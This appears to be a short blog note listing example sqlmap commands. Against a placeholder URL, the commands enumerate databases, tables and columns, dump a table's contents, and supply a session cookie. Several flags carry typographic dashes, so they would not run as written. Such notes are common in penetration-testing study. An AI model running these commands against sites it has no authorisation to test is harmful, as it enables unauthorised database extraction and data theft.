SQL injection tool – sqlmap

Everything here: http://sqlmap.org/

Some examples:

./sqlmap.py -u http://your_page.com/Post/4?orderby=id –dbs

./sqlmap.py -u http://your_page.com/Post/4?orderby=id -D database_name –tables

./sqlmap.py -u http://your_page.com/Post/4?orderby=id -T table_name –columns

./sqlmap.py -u http://your_page.com/Post/4?orderby=id -T table_name -U file_name –dump

cookie

./sqlmap.py -u http://your_page.com/Post/4?orderBy=id –cookie “JSESSIONID=C59D9452BBE59FC357A1D0E62E8646A4” –dbs